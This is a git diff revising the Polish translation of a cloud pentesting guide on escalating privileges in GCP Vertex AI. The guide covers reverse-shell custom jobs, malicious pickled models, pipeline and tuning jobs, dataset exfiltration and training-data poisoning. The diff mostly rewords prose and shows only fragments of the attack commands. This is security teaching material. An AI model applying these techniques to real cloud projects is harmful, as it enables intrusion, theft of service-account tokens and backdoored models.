diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
index c51fa043d..fc56dd145 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md
@@ -4,7 +4,7 @@
## Vertex AI
-Aby uzyskać więcej informacji o Vertex AI, sprawdź:
+Więcej informacji o Vertex AI znajdziesz:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
@@ -12,15 +12,15 @@ Aby uzyskać więcej informacji o Vertex AI, sprawdź:
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
-Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` do docelowego service account, atakujący może **uruchomić dowolny kod z podwyższonymi uprawnieniami**.
+Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym koncie usługi, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**.
-Mechanizm polega na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo w niestandardowym kontenerze, albo w pakiecie Python). Podając uprzywilejowany service account przez flagę `--service-account`, zadanie dziedziczy uprawnienia tego service account. Zadanie uruchamiane jest na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co pozwala na wydobycie OAuth access token przypisanego do service account.
+Polega to na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo custom container, albo Python package). Wskazując uprzywilejowane konto usługi za pomocą flagi `--service-account`, job dziedziczy uprawnienia tego konta usługi. Job uruchamia się na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie tokenu dostępu OAuth konta usługi.
-**Wpływ**: Pełna eskalacja uprawnień do uprawnień docelowego service account.
+**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego konta usługi.
-Utwórz niestandardowe zadanie z reverse shell
+Create custom job with reverse shell
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region=
```
-> [!CAUTION]
-> Niestandardowe zadanie będzie uruchamiane z uprawnieniami określonego konta usługi. Upewnij się, że masz uprawnienie `iam.serviceAccounts.actAs` na docelowym koncie usługi.
### `aiplatform.models.upload`, `aiplatform.models.get`
-Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie batch prediction job.
+Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie zadania batch prediction.
> [!NOTE]
-> Aby przeprowadzić ten atak, potrzebne jest posiadanie world-readable GCS bucket lub utworzenie nowego w celu przesłania artefaktów modelu.
+> Aby przeprowadzić ten atak potrzebny jest GCS bucket dostępny do odczytu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
-Prześlij złośliwy pickled model zawierający reverse shell
+Upload malicious pickled model with reverse shell
```bash
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
# Create malicious sklearn model that executes reverse shell when loaded
@@ -113,7 +111,7 @@ gcloud ai models upload \
-Prześlij model z reverse shell w kontenerze
+Prześlij model z container reverse shell
```bash
# Method 2 using --container-args to run a persistent reverse shell
@@ -145,12 +143,12 @@ gcloud ai models upload \
> [!DANGER]
-> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub sam uruchomić model poprzez endpoint deployment lub batch prediction job.
+> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub zadanie wsadowej predykcji.
-#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) lub ( `aiplatform.endpoints.setIamPolicy` )
+#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
-Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointach lub modyfikowania polityk IAM endpointu, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli przez endpoint, wszystko, co musisz zrobić, to:
+Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointy lub do modyfikowania zasad IAM endpointów, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli za pośrednictwem endpointu, wystarczy:
@@ -175,12 +173,10 @@ gcloud ai endpoints deploy-model \
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
-Jeśli masz uprawnienia do utworzenia **batch prediction jobs** i uruchomienia go za pomocą service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z **custom prediction container** lub **malicious model** podczas procesu batch prediction.
-
-**Note**: Batch prediction jobs można tworzyć tylko przez REST API lub Python SDK (brak wsparcia dla gcloud CLI).
+Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z poziomu **custom prediction container** lub **malicious model** podczas procesu batch prediction.
> [!NOTE]
-> Ten atak wymaga najpierw przesłania malicious model (zobacz sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
+> Ten atak wymaga najpierw przesłania malicious model (zob. sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
@@ -240,10 +236,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
### `aiplatform.models.export`
-Jeżeli posiadasz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, co potencjalnie umożliwia dostęp do wrażliwych danych treningowych lub plików modelu.
+Jeśli masz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu.
> [!NOTE]
-> Aby przeprowadzić attack, wymagany jest GCS bucket dostępny do odczytu i zapisu dla wszystkich (world readable and writable) lub utworzenie nowego, aby przesłać artefakty modelu.
+> Aby przeprowadzić ten atak, potrzebny jest GCS bucket dostępny do odczytu i zapisu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
@@ -274,16 +270,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
-Utwórz **ML pipeline jobs**, które wykonują wiele kroków z dowolnymi kontenerami i umożliwiają privilege escalation przez reverse shell access.
+Utwórz **ML pipeline jobs**, które wykonują wiele etapów przy użyciu dowolnych kontenerów i umożliwiają privilege escalation poprzez reverse shell access.
-Pipelines są szczególnie potężne do privilege escalation, ponieważ wspierają ataki wieloetapowe, gdzie każdy komponent może używać innych kontenerów i konfiguracji.
+Pipelines są szczególnie skuteczne w privilege escalation, ponieważ obsługują multi-stage attacks, w których każdy komponent może używać różnych kontenerów i konfiguracji.
> [!NOTE]
> Potrzebujesz world writable GCS bucket, aby użyć go jako pipeline root.
-Zainstaluj Vertex AI SDK
+Install Vertex AI SDK
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
@@ -386,15 +382,15 @@ print(f" {response.text}")
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
-Utwórz **hyperparameter tuning jobs**, które wykonują dowolny kod z podwyższonymi uprawnieniami poprzez niestandardowe training containers.
+Twórz **zadania strojenia hiperparametrów**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu niestandardowych kontenerów treningowych.
-Hyperparameter tuning jobs pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego containera zawierającego reverse shell lub polecenie exfiltration i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
+Zadania strojenia hiperparametrów pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego kontenera zawierającego reverse shell lub exfiltration command i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
-**Impact**: Pełne privilege escalation do uprawnień docelowego service account.
+**Impact**: Pełna privilege escalation do uprawnień docelowego service account.
-Utwórz hyperparameter tuning job with reverse shell
+Utwórz zadanie strojenia hiperparametrów z reverse shellem
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
@@ -435,15 +431,15 @@ gcloud ai hp-tuning-jobs create \
### `aiplatform.datasets.export`
-Eksportuj **zbiory danych** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
+Eksportuj **datasets** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
-**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
+**Uwaga**: operacje na datasetach wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets).
-Zbiory danych często zawierają oryginalne dane treningowe, które mogą zawierać PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
+Datasets często zawierają oryginalne dane treningowe, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
-Eksport zbioru danych w celu exfiltrate danych treningowych
+Eksport datasetu w celu exfiltrate danych treningowych
```bash
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
@@ -492,25 +488,25 @@ cat exported-data/*/data-*.jsonl
### `aiplatform.datasets.import`
-Importuj złośliwe lub poisoned dane do istniejących zbiorów danych, aby **manipulować szkoleniem modeli i wprowadzać backdoors**.
+Importuj złośliwe lub zatrute dane do istniejących zbiorów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**.
-**Uwaga**: operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
+**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
-Poprzez import starannie przygotowanych danych do zbioru danych używanego do szkolenia modeli ML, atakujący może:
-- Wprowadzić backdoors do modeli (trigger-based misclassification)
-- Poison training data, aby pogorszyć wydajność modelu
-- Wstrzyknąć dane, powodując leak informacji przez modele
+Poprzez importowanie spreparowanych danych do zbioru danych używanego do trenowania modeli ML, atakujący może:
+- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana triggerem)
+- Zatrucie danych treningowych w celu pogorszenia wydajności modelu
+- Wstrzyknąć dane, aby modele zaczęły leakować informacje
- Manipulować zachowaniem modelu dla określonych wejść
-Ten atak jest szczególnie skuteczny, gdy celem są zbiory danych wykorzystywane do:
-- Klasyfikacja obrazów (wstrzyknięcie błędnie oznakowanych obrazów)
-- Klasyfikacja tekstu (wstrzyknięcie tendencyjnego lub złośliwego tekstu)
-- Wykrywanie obiektów (manipulacja prostokątami ograniczającymi)
-- Systemy rekomendacyjne (wstrzyknięcie fałszywych preferencji)
+Ten atak jest szczególnie skuteczny w przypadku celowania w zbiory danych używane do:
+- Klasyfikacja obrazów (wstrzyknięcie błędnie oznaczonych obrazów)
+- Klasyfikacja tekstu (wstrzyknięcie stronniczego lub złośliwego tekstu)
+- Wykrywanie obiektów (manipulowanie ramkami ograniczającymi)
+- Systemy rekomendacji (wstrzyknięcie fałszywych preferencji)
-Import poisoned data into dataset
+Importuj zatrute dane do zbioru danych
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
@@ -567,11 +563,11 @@ curl -s -X GET \
```
-**Scenariusze ataku:**
+**Scenariusze ataków:**
-Backdoor attack - Image classification
+Backdoor attack - klasyfikacja obrazów
```bash
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
@@ -598,7 +594,7 @@ done > label_flip.jsonl
-Data poisoning for model extraction
+Data poisoning dla model extraction
```bash
# Scenario 3: Data Poisoning for Model Extraction
# Inject carefully crafted queries to extract model behavior
@@ -625,34 +621,34 @@ EOF
> [!DANGER]
-> Data poisoning attacks can have severe consequences:
-> - **Systemy bezpieczeństwa**: Obejście rozpoznawania twarzy lub wykrywania anomalii
-> - **Wykrywanie oszustw**: Naucz modele ignorować konkretne wzorce oszustw
-> - **Moderacja treści**: Sprawić, że szkodliwe treści zostaną sklasyfikowane jako bezpieczne
-> - **AI medyczne**: Błędna klasyfikacja krytycznych stanów zdrowotnych
-> - **Systemy autonomiczne**: Manipulacja wykrywaniem obiektów przy decyzjach krytycznych dla bezpieczeństwa
->
-> **Wpływ**:
-> - Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
-> - Pogorszenie wydajności i dokładności modelu
-> - Stronnicze modele, które dyskryminują określone dane wejściowe
-> - Wycieki informacji przez zachowanie modelu
-> - Długoterminowa persystencja (modele wytrenowane na zatrutych danych odziedziczą backdoor)
+> Data poisoning attacks mogą mieć poważne konsekwencje:
+> - **Security systems**: obejście rozpoznawania twarzy lub wykrywania anomalii
+> - **Fraud detection**: wyszkolenie modeli do ignorowania określonych wzorców oszustw
+> - **Content moderation**: spowodowanie sklasyfikowania szkodliwych treści jako bezpiecznych
+> - **Medical AI**: błędna klasyfikacja krytycznych stanów zdrowotnych
+> - **Autonomous systems**: manipulowanie wykrywaniem obiektów przy podejmowaniu decyzji kluczowych dla bezpieczeństwa
+
+**Impact**:
+- Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
+- Obniżona wydajność i dokładność modeli
+- Stronnicze modele dyskryminujące określone dane wejściowe
+- Ujawnianie informacji przez zachowanie modelu
+- Długotrwała trwałość (modele wytrenowane na zatrutych danych odziedziczą backdoor)
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
> [!WARNING]
> > [!NOTE]
-> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API jest przestarzałe w związku z wycofywaniem Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooki za pomocą `aiplatform.customJobs.create` (już omówione powyżej).
-> Vertex AI Workbench Executor pozwala planować uruchomienia notebooków wykonywane na infrastrukturze custom training Vertex AI z określonym kontem usługi. To w istocie wygodny wrapper wokół `customJobs.create`.
-> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej, która jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
+> **Przestarzałe API**: API `aiplatform.notebookExecutionJobs.create` jest przestarzałe w ramach deprecjacji Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooks przez `aiplatform.customJobs.create` (opisane powyżej).
+> Vertex AI Workbench Executor pozwala na harmonogramowanie uruchomień notebooków, które wykonują się na infrastrukturze treningowej Vertex AI z określonym service account. To w zasadzie wygodny wrapper wokół `customJobs.create`.
+> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej — jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
-**Poniższa technika jest przedstawiona wyłącznie w celach historycznych i nie jest zalecana do stosowania w nowych ocenach.**
+**Poniższa technika jest podana wyłącznie w kontekście historycznym i nie jest zalecana do stosowania w nowych testach.**
-Utwórz **zadania wykonywania notebooków**, które uruchamiają notebooki Jupyter z dowolnym kodem.
+Utwórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem.
-Zadania notebooków są idealne do interaktywnego wykonywania kodu przy użyciu konta usługi, ponieważ obsługują komórki kodu Python i polecenia powłoki.
+Zadania notebooków są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki z kodem Python oraz polecenia powłoki.
@@ -683,7 +679,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-Uruchom notebook z użyciem docelowego konta usługi
+Uruchom notebook z docelowym kontem usługi
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"